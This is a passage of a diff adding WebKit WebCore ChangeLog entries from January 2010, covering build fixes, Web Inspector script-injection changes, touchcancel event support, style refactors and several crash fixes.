+        (WebCore::RenderForeignObject::mapLocalToContainer):
+        * rendering/RenderForeignObject.h:
+
+2010-01-20  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Build fix for !ENABLE(SVG).
+
+        * rendering/TrailingFloatsRootInlineBox.h:
+        (WebCore::TrailingFloatsRootInlineBox::TrailingFloatsRootInlineBox):
+
+2010-01-20  David Levin  <levin@chromium.org>
+
+        No review, rolling out r53552.
+        http://trac.webkit.org/changeset/53552
+        https://bugs.webkit.org/show_bug.cgi?id=32554
+
+        Caused lots of fast/profile test failures.
+
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::databaseForId):
+        (WebCore::JSInjectedScriptHost::inspectedWindow):
+        (WebCore::JSInjectedScriptHost::wrapCallback):
+        (WebCore::JSInjectedScriptHost::currentCallFrame):
+        (WebCore::JSInjectedScriptHost::nodeForId):
+        (WebCore::JSInjectedScriptHost::wrapObject):
+        (WebCore::JSInjectedScriptHost::unwrapObject):
+        (WebCore::JSInjectedScriptHost::pushNodePathToFrontend):
+        (WebCore::JSInjectedScriptHost::selectDatabase):
+        (WebCore::JSInjectedScriptHost::selectDOMStorage):
+        * bindings/js/ScriptCallStack.h:
+        (WebCore::ScriptCallStack::state):
+        * bindings/js/ScriptController.cpp:
+        * bindings/js/ScriptController.h:
+        * bindings/js/ScriptObject.h:
+        * bindings/js/ScriptValue.cpp:
+        (WebCore::ScriptValue::quarantineValue):
+        * bindings/js/ScriptValue.h:
+        * bindings/v8/ScriptObject.h:
+        * bindings/v8/ScriptValue.h:
+        (WebCore::ScriptValue::quarantineValue):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::V8InjectedScriptHost::inspectedWindowCallback):
+        (WebCore::V8InjectedScriptHost::wrapCallbackCallback):
+        (WebCore::V8InjectedScriptHost::wrapObjectCallback):
+        (WebCore::V8InjectedScriptHost::unwrapObjectCallback):
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        (WebCore::ConsoleMessage::addToConsole):
+        (WebCore::ConsoleMessage::isEqual):
+        * inspector/ConsoleMessage.h:
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::wrapObject):
+        (WebCore::InjectedScriptHost::unwrapObject):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+        (WebCore::InspectorBackend::releaseWrapperObjectGroup):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::clearConsoleMessages):
+        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::didPause):
+        (WebCore::InspectorController::wrapObject):
+        (WebCore::InspectorController::unwrapObject):
+        (WebCore::InspectorController::releaseWrapperObjectGroup):
+        (WebCore::InspectorController::resetInjectedScript):
+        (WebCore::InspectorController::deleteCookie):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addConsoleMessage):
+        (WebCore::InspectorFrontend::pausedScript):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/AuditsPanel.js:
+        (WebInspector.AuditsPanel.prototype._reloadResources):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.requestClearMessages):
+        (WebInspector.ConsoleView.prototype.completions):
+        (WebInspector.ConsoleView.prototype.doEvalInWindow):
+        (WebInspector.ConsoleView.prototype._formatnode):
+        (WebInspector.ConsoleView.prototype._formatarray):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode):
+        (WebInspector.CSSStyleDeclaration):
+        (WebInspector.CSSStyleDeclaration.parseRule):
+        * inspector/front-end/Database.js:
+        (WebInspector.Database.prototype.executeSql):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel.prototype.setDocument):
+        (WebInspector.ElementsPanel.prototype.searchCanceled):
+        (WebInspector.ElementsPanel.prototype.performSearch):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.createTooltipForImageNode):
+        * inspector/front-end/EventListenersSidebarPane.js:
+        ():
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.dispatch):
+        (InjectedScript.toggleStyleEnabled):
+        (InjectedScript._serializeRule):
+        (InjectedScript._serializeStyle):
+        (InjectedScript.getProperties):
+        (InjectedScript.setPropertyValue):
+        (InjectedScript._evaluateAndWrap):
+        (InjectedScript.getCallFrames):
+        (InjectedScript._inspectObject):
+        (InjectedScript._ensureCommandLineAPIInstalled):
+        (InjectedScript._resolveObject):
+        (InjectedScript._window):
+        (InjectedScript._objectForId):
+        (InjectedScript.createProxyObject):
+        (InjectedScript.executeSql):
+        (InjectedScript.executeSql.errorCallback):
+        (InjectedScript.executeSql.queryTransaction):
+        (Object.type):
+        (String.prototype.escapeCharacters):
+        * inspector/front-end/InjectedScriptAccess.js:
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.methodName):
+        (InjectedScriptAccess._installHandler):
+        * inspector/front-end/MetricsSidebarPane.js:
+        (WebInspector.MetricsSidebarPane):
+        (WebInspector.MetricsSidebarPane.prototype.update.inlineStyleCallback):
+        (WebInspector.MetricsSidebarPane.prototype.update):
+        (WebInspector.MetricsSidebarPane.prototype.editingCommitted):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertiesSection.prototype.update):
+        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
+        (WebInspector.ObjectPropertyTreeElement.prototype.applyExpression):
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectProxy):
+        (WebInspector.ObjectProxy.getPropertiesAsync):
+        * inspector/front-end/PropertiesSidebarPane.js:
+        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
+        (WebInspector.PropertiesSidebarPane.prototype.update):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype.update):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection.prototype.update):
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.pausedScript):
+        (WebInspector.addConsoleMessage):
+        (WebInspector.log.logMessage):
+        (WebInspector.log):
+
+2010-01-20  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Renames jni_runtime.[cpp|h] to JNIBridge.[cpp|h]
+        https://bugs.webkit.org/show_bug.cgi?id=33899
+
+        No new tests, refactoring only.
+
+        * Android.jscbindings.mk: Modified. Removes jni_runtime.cpp and adds JNIBridge.cpp
+        * GNUmakefile.am: Modified. Removes jni_runtime.h and adds JNIBridge.h
+        * WebCore.xcodeproj/project.pbxproj: Modified. Removes jni_runtime.[cpp|h] and adds JNIBridge.[cpp|h]
+        * bridge/jni/JNIBridge.cpp: Copied from WebCore/bridge/jni/jni_runtime.cpp.
+        * bridge/jni/JNIBridge.h: Copied from WebCore/bridge/jni/jni_runtime.h.
+        * bridge/jni/jni_jsobject.mm: Modified. Updated to include JNIBridge.h
+        * bridge/jni/jni_runtime.cpp: Removed.
+        * bridge/jni/jni_runtime.h: Removed.
+        * bridge/jni/jsc/JNIUtilityPrivate.cpp: Modified. Updated to include JNIBridge.h
+        * bridge/jni/jsc/JavaClassJSC.cpp: Modified. Removed superfluous include
+        * bridge/jni/jsc/JavaClassJSC.h: Modified. Updated to include JNIBridge.h
+        * bridge/jni/jsc/JavaInstanceJSC.cpp: Modified. Updated to include JNIBridge.h
+
+2010-01-20  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33913
+        Crash under Media::matchMedium in detached frame
+
+        Also took the opportunity to fix JS bindings for the Media object.
+
+        Test: fast/media/lifetime.html
+
+        * css/Media.h:
+        (WebCore::Media::create): Take and store a Frame pointer, like other similar objects do.
+        (WebCore::Media::disconnectFrame): Zero out the frame pointer (this is called from
+        DOMWindow::clear()).
+
+        * css/Media.cpp:
+        (WebCore::Media::Media): Updated to storing Frame pointer.
+        (WebCore::Media::type): Ditto.
+        (WebCore::Media::matchMedium): Removed null check for document element - every document has
+        one. Also, every Frame has a document, so we only need to check for m_frame being zero.
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::markChildren):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::clear):
+        (WebCore::DOMWindow::media):
+        * page/DOMWindow.h:
+        (WebCore::DOMWindow::optionalMedia):
+        Make sure there's only one Media object per window, and keep its wrapper alive.
+
+2010-01-20  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Darin Adler and Adam Roben.
+
+        Feature defines are difficult to maintain on Windows builds
+        https://bugs.webkit.org/show_bug.cgi?id=33883
+
+        FeatureDefines.vsprops are now maintained in a way similar to
+        Configurations/FeatureDefines.xcconfig, with the added advantage
+        of having a single FeatureDefines file across all projects.
+
+        * Configurations/FeatureDefines.xcconfig: Add comments about keeping feature definitions in sync.
+        * WebCore.vcproj/MigrateIDLAndScripts: Remove reference to file that no longer exists.
+        * WebCore.vcproj/QTMovieWin.vcproj: Add FeatureDefines.vsprops inherited property sheet.
+        * WebCore.vcproj/WebCore.vcproj: Add FeatureDefines.vsprops inherited property sheet.
+        * WebCore.vcproj/WebCoreCommon.vsprops: Remove ENABLE_ preprocessor definitions.
+        * WebCore.vcproj/WebCoreGenerated.vcproj: Added Cairo configuration for selecting proper features.
+        * WebCore.vcproj/WebCoreMediaQT.vsprops: Remove ENABLE_VIDEO. This is picked up from FeatureDefines.vsprops.
+        * WebCore.vcproj/build-generated-files.sh: Pick up features from FeatureDefines.vsprops or FeatureDefinesCairo.vsprops.
+
+2010-01-20  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Inject inspector script directly into the inspected context. All the
+        communication between the script and the frontend is serialized into
+        JSON strings. It allows to get rid of object quarantines in Web Inspector.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32554
+
+        Test: inspector/console-log-before-inspector-open.html
+
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::databaseForId):
+        (WebCore::JSInjectedScriptHost::currentCallFrame):
+        (WebCore::JSInjectedScriptHost::nodeForId):
+        (WebCore::JSInjectedScriptHost::pushNodePathToFrontend):
+        (WebCore::JSInjectedScriptHost::selectDatabase):
+        (WebCore::JSInjectedScriptHost::selectDOMStorage):
+        * bindings/js/ScriptCallStack.h:
+        (WebCore::ScriptCallStack::state):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::mainWorldScriptState):
+        * bindings/js/ScriptController.h:
+        * bindings/js/ScriptObject.h:
+        (WebCore::ScriptObject::scriptState):
+        * bindings/js/ScriptValue.cpp:
+        * bindings/js/ScriptValue.h:
+        * bindings/v8/ScriptObject.h:
+        (WebCore::ScriptObject::scriptState):
+        * bindings/v8/ScriptValue.h:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        (WebCore::ConsoleMessage::addToConsole):
+        (WebCore::ConsoleMessage::isEqual):
+        * inspector/ConsoleMessage.h:
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::releaseWrapperObjectGroup):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::setInjectedScriptSource):
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+        (WebCore::InspectorBackend::releaseWrapperObjectGroup):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::clearConsoleMessages):
+        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::didPause):
+        (WebCore::InspectorController::injectedScriptForNodeId):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addConsoleMessage):
+        (WebCore::InspectorFrontend::pausedScript):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/AuditsPanel.js:
+        (WebInspector.AuditsPanel.prototype._reloadResources):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.requestClearMessages):
+        (WebInspector.ConsoleView.prototype.doEvalInWindow):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode):
+        (WebInspector.CSSStyleDeclaration):
+        (WebInspector.CSSStyleDeclaration.parseRule):
+        * inspector/front-end/Database.js:
+        (WebInspector.Database.prototype.executeSql):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged.InjectedScriptAccess.get addInspectedNode):
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel.prototype.setDocument):
+        (WebInspector.ElementsPanel.prototype.searchCanceled):
+        (WebInspector.ElementsPanel.prototype.performSearch):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.createTooltipForImageNode):
+        * inspector/front-end/EventListenersSidebarPane.js:
+        ():
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
+        (injectedScriptConstructor.):
+        * inspector/front-end/InjectedScriptAccess.js:
+        (InjectedScriptAccess):
+        (InjectedScriptAccess.getDefault):
+        (get InjectedScriptAccess):
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.prototype.methodName):
+        (InjectedScriptAccess._installHandler):
+        * inspector/front-end/MetricsSidebarPane.js:
+        (WebInspector.MetricsSidebarPane):
+        (WebInspector.MetricsSidebarPane.prototype.update.inlineStyleCallback):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectProxy):
+        * inspector/front-end/PropertiesSidebarPane.js:
+        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+        * inspector/front-end/ScriptsPanel.js:
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection.prototype.update):
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.pausedScript):
+        (WebInspector.addConsoleMessage):
+        (WebInspector.log.logMessage):
+        (WebInspector.log):
+
+2010-01-20  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::valueAsDate setter support for type=time.
+        https://bugs.webkit.org/show_bug.cgi?id=33825
+
+        Introduce ISODateTime::setMillisecondsSinceMidnight() and add a
+        SecondFormat parameter to ISODateTime::toString(). The main code
+        logic for type=time is implemented in
+        setMillisecondsSinceMidnightInternal() and toStringForTime()
+        because the logic is going to be used for other types.
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setValueAsDate):
+        * html/ISODateTime.cpp:
+        (WebCore::positiveFmod):
+        (WebCore::ISODateTime::setMillisecondsSinceMidnightInternal):
+        (WebCore::ISODateTime::setMillisecondsSinceMidnight):
+        (WebCore::ISODateTime::toStringForTime):
+        (WebCore::ISODateTime::toString):
+        * html/ISODateTime.h:
+        (WebCore::ISODateTime::):
+
+2010-01-20  Csaba Osztrogonác  <ossy@webkit.org>
+
+        [Qt] Unreviewed buildfix for r53547.
+
+        * WebCore.pri:
+
+2010-01-20  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Simon Hausmann.
+
+        The touchcancel event is not supported.
+        https://bugs.webkit.org/show_bug.cgi?id=33598
+
+        This change adds support for the touchcancel event in WebCore and adds a test.
+
+        Test: fast/events/touch/send-oncancel-event.html
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGestureEvent): Considers touchcancel with the other touch events when working out if the event is a user gesture.
+        * dom/Document.cpp:
+        (WebCore::Document::addListenerTypeIfNeeded): Adds a check to consider ontouchcancel a touch event listener.
+        * dom/Document.h: Add the touchcancel attribute event listener.
+        * dom/Document.idl: ditto.
+        * dom/Element.h: ditto.
+        * dom/Element.idl: ditto.
+        * dom/EventNames.h: Adds touchcancel as an event name.
+        * html/HTMLAttributeNames.in:Adds touchcancel as an HTML attribute name.
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::parseMappedAttribute): Parses the ontouchcancel attribute.
+        * page/DOMWindow.h: Adds the touchcancel attribute event listener.
+        * page/DOMWindow.idl: ditto.
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleTouchEvent): Add code to detect and dispatch touchcancel events.
+        * platform/PlatformTouchEvent.h:
+        (WebCore::): Add TouchCancel as a touch event type.
+        * platform/PlatformTouchPoint.h:
+        (WebCore::PlatformTouchPoint::): Add TouchCanceled as a touch point state.
+
+2010-01-20  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Make extraCompilers for generated sources depend on their scripts
+
+        * DerivedSources.pro:
+        * WebCore.pri:
+
+2010-01-20  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [Chromium][V8] Fix null pointer dereference in V8Proxy::retrieve().
+        https://bugs.webkit.org/show_bug.cgi?id=33886
+
+        This is equivalent to r53433, and fix a crash by
+        LayoutTests/http/tests/appcache/destroyed-iframe.html.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::retrieve): Check if context is null.
+
+2010-01-20  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Optimize resize event handling for hidden views
+        https://bugs.webkit.org/show_bug.cgi?id=33803
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.resize):
+        (WebInspector.AbstractTimelinePanel.prototype.updateMainViewWidth):
+        * inspector/front-end/AuditsPanel.js:
+        * inspector/front-end/Panel.js:
+        (WebInspector.Panel.prototype.updateSidebarWidth):
+        (WebInspector.Panel.prototype.resize):
+        * inspector/front-end/PanelEnablerView.js:
+        (WebInspector.PanelEnablerView):
+        (WebInspector.PanelEnablerView.prototype.show):
+        (WebInspector.PanelEnablerView.prototype.resize):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.show):
+        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
+        (WebInspector.ProfilesPanel.prototype.showProfile):
+        (WebInspector.ProfilesPanel.prototype.showView):
+        (WebInspector.ProfilesPanel.prototype.closeVisibleView):
+        (WebInspector.ProfilesPanel.prototype._updateInterface):
+        (WebInspector.ProfilesPanel.prototype.updateMainViewWidth):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.show):
+        (WebInspector.ResourcesPanel.prototype.get visibleView):
+        (WebInspector.ResourcesPanel.prototype.updateMainViewWidth):
+        * inspector/front-end/Settings.js:
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel.prototype.updateMainViewWidth):
+        * inspector/front-end/WelcomeView.js:
+        (WebInspector.WelcomeView):
+        (WebInspector.WelcomeView.prototype.show):
+        (WebInspector.WelcomeView.prototype.resize):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector.windowResize):
+
+2010-01-20  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Fixes style in WebCore/bridge/Bridge
+        https://bugs.webkit.org/show_bug.cgi?id=33839
+
+        No new tests, style fixes only.
+
+        * bridge/Bridge.cpp: Modified.
+        * bridge/Bridge.h: Modified.
+        * bridge/c/c_instance.cpp: Modified.
+        (JSC::Bindings::CInstance::invokeMethod): Modified. Use renamed m_rootObject member
+        (JSC::Bindings::CInstance::invokeDefaultMethod): Modified. Use renamed m_rootObject member
+        (JSC::Bindings::CInstance::invokeConstruct): Modified. Use renamed m_rootObject member
+        * bridge/jni/jni_runtime.cpp: Modified.
+        (JavaArray::JavaArray): Modified. Use renamed m_rootObject member
+        (JavaArray::rootObject): Modified. Use renamed m_rootObject member
+        * bridge/objc/objc_instance.mm: Modified.
+        (ObjcInstance::invokeMethod): Modified. Use renamed m_rootObject member
+        (ObjcInstance::invokeDefaultMethod): Modified. Use renamed m_rootObject member
+        (ObjcInstance::getValueOfUndefinedField): Modified. Use renamed m_rootObject member
+        * bridge/objc/objc_runtime.mm: Modified.
+        (JSC::Bindings::ObjcArray::valueAt): Modified. Use renamed m_rootObject member
+        * bridge/qt/qt_runtime.cpp: Modified.
+        (JSC::Bindings::::rootObject): Modified. Use renamed m_rootObject member
+
+2010-01-20  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33885
+
+        Fixes style errors exposed by the style bot in the patch
+        for bug #33770. Moreover, fixes all style errors reported
+        by check-webkit-style.
+
+        No functionality was changed. So, no new tests.
+
+        * bindings/js/JSWebGLRenderingContextCustom.cpp:
+        (WebCore::dataFunctionf):
+        (WebCore::dataFunctioni):
+        (WebCore::dataFunctionMatrix):
+
+2010-01-19  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Fixes style in WebCore/bridge/JNIUtility
+        https://bugs.webkit.org/show_bug.cgi?id=33870
+
+        No new tests, style fixes only.
+
+        * bridge/jni/JNIUtility.cpp:
+        * bridge/jni/JNIUtility.h:
+
+2010-01-20  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        On Linux link QtWebKit with -no-undefined to catch build breakages due to missing
+        files in the .pro file, resulting in unresolved symbols.
+
+        * WebCore.pro:
+
+2010-01-20  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Make it possible to link with -no-undefined.
+
+        * WebCore.pro: Add missing explicit dependency to libXrender due to the
+        use of XRenderFindVisualFormat in the X11 plugin code.
+
+2010-01-20  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Add missing files to the build.
+
+        * WebCore.pro:
+
+2010-01-20  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [Chromium] computePageRectsForFrame seems to be unnecessary
+        https://bugs.webkit.org/show_bug.cgi?id=33881
+
+        * WebCore.gypi: Removed FrameChromium.h
+        * page/chromium/FrameChromium.cpp: Removed computePageRectsForFrame.
+        * page/chromium/FrameChromium.h: Removed.
+
+2010-01-20  Roland Steiner  <rolandsteiner@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        Bug 33266 - WebCore::InlineFlowBox::determineSpacingForFlowBoxes ReadAV@NULL (43c64e8abbda6766e5f5edbd254c2d57)
+        (https://bugs.webkit.org/show_bug.cgi?id=33266)
+        
+        Ruby did not handle malformed cases correctly when the ruby base was in
+        block flow. Changed the code to handle all possible cases.
+        Also, added some simplification methods to RenderBlock.
+
+        Tests: fast/ruby/ruby-illegal-1.html
+               fast/ruby/ruby-illegal-2.html
+               fast/ruby/ruby-illegal-3.html
+               fast/ruby/ruby-illegal-4.html
+               fast/ruby/ruby-illegal-5.html
+               fast/ruby/ruby-illegal-6.html
+               fast/ruby/ruby-illegal-7.html
+               fast/ruby/ruby-illegal-combined.html
+               fast/ruby/rubyDOM-insert-rt-block-1.html
+               fast/ruby/rubyDOM-insert-rt-block-2.html
+               fast/ruby/rubyDOM-insert-rt-block-3.html
+               fast/ruby/rubyDOM-remove-rt-block-1.html
+               fast/ruby/rubyDOM-remove-rt-block-2.html
+               fast/ruby/rubyDOM-remove-rt-block-3.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::moveAllChildrenTo): useful for anonymous block manipulation
+        (WebCore::RenderBlock::removeChild): making use of moveAllChildrenTo
+        * rendering/RenderBlock.h:
+        * rendering/RenderRubyBase.cpp:
+        (WebCore::RenderRubyBase::hasOnlyWrappedInlineChildren):
+        (WebCore::RenderRubyBase::moveChildren):
+        (WebCore::RenderRubyBase::moveInlineChildren):
+        (WebCore::RenderRubyBase::moveBlockChildren):
+        (WebCore::RenderRubyBase::mergeBlockChildren):
+        * rendering/RenderRubyBase.h:
+        * rendering/RenderRubyRun.cpp:
+        (WebCore::RenderRubyRun::addChild):
+        (WebCore::RenderRubyRun::removeChild):
+
+2010-01-19  Dan Bernstein  <mitz@apple.com>
+
+        Build fix after r53514
+
+        * WebCore.base.exp: Removed threadGlobalData(), which was inlined in r53514.
+
+2010-01-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Avoid calling NSEqualRects() on the garbage rect obtained
+        by calling -frame on a null view.
+
+        * platform/mac/WidgetMac.mm:
+        (WebCore::Widget::setFrameRect):
+
+2010-01-19  Maciej Stachowiak  <mjs@apple.com>
+
+        Unreviewed build fix.
+
+        Remove currentWorld from the exports file again, since it is now inline.
+
+        * WebCore.base.exp:
+
+2010-01-19  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        Part of <http://webkit.org/b/28622>.
+        Caught exceptions still pause the debugger.
+        
+        Update JavaScriptDebugServer::exception to take a hasHandler parameter,
+        so later we can differentiate between a caught and an uncaught exception.
+        
+        This just adds a new parameter, no behavior is changed.
+
+        No change in functionality, so no tests.
+
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::exception):
+        * inspector/JavaScriptDebugServer.h:
+
+2010-01-18  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Adam Barth.
+
+        Inline functions that are hot in DOM manipulation
+        https://bugs.webkit.org/show_bug.cgi?id=33820
+
+        (3% speedup on Dromaeo DOM Core tests)
+
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::currentWorld): Inlined.
+        (WebCore::jsString): Inlined String& overload and split off slow case.
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::jsStringSlowCase): Slow case for the above.
+        * dom/Document.h:
+        (WebCore::Document::isHTMLDocument): Use a bit and an inline method
+        instead of a virtual method, since this is so hot and size of Document
+        is not a prime concern.
+        (WebCore::Document::create): Adapt for above.
+        (WebCore::Document::createXHTML): ditto
+        * dom/Document.cpp:
+        (WebCore::Document::Document): ditto
+        * html/HTMLDocument.cpp:
+        (WebCore::HTMLDocument::HTMLDocument): ditto
+        * html/HTMLDocument.h: ditto
+        * loader/PlaceholderDocument.h:
+        (WebCore::PlaceholderDocument::PlaceholderDocument): ditto
+        * svg/SVGDocument.cpp:
+        (WebCore::SVGDocument::SVGDocument): ditto
+        * dom/Element.h:
+        (WebCore::Element::attributes): Inlined.
+        (WebCore::Element::updateId): Inlined.
+        * dom/Element.cpp: (Remove inlined methods.)
+        * dom/NamedAttrMap.h:
+        (WebCore::NamedNodeMap::getAttributeItem): Inlined and split off slow case.
+        * dom/NamedAttrMap.cpp:
+        (WebCore::NamedNodeMap::getAttributeItemSlowCase): Slow case for the above.
+        * inspector/InspectorController.cpp:
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::didInsertDOMNode): Inlined so the fast case
+        early exit doesn't incur a function call.
+        (WebCore::InspectorController::didRemoveDOMNode): ditto
+        (WebCore::InspectorController::didModifyDOMAttr): ditto
+        * platform/ThreadGlobalData.h:
+        (WebCore::threadGlobalData): Inlined.
+        * platform/ThreadGlobalData.cpp: (Removed inline methods).
+        * platform/Timer.h:
+        (WebCore::TimerBase::isActive): Inlined.
+        * platform/Timer.cpp: (Removed inline methods).
+        * WebCore.xcodeproj/project.pbxproj: Install new heares.
+        * WebCore.base.exp: Add appropriate exports.
+
+2010-01-19  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Chromium build fix.
+
+        * accessibility/chromium/AccessibilityObjectChromium.cpp:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        Call correct function.
+
+2010-01-17  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        MSAA: The child <option> elements of a non-multiple <select> are not
+        exposed
+
+        https://bugs.webkit.org/show_bug.cgi?id=33773
+        <rdar://problem/7550556>
+
+        Reviewed by Alice Liu.
+
+        This exposes the child <option> elements in a format similar to
+        Firefox's: the <select> element has one child, a hidden list object,
+        and this list has as its children the <option> elements.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
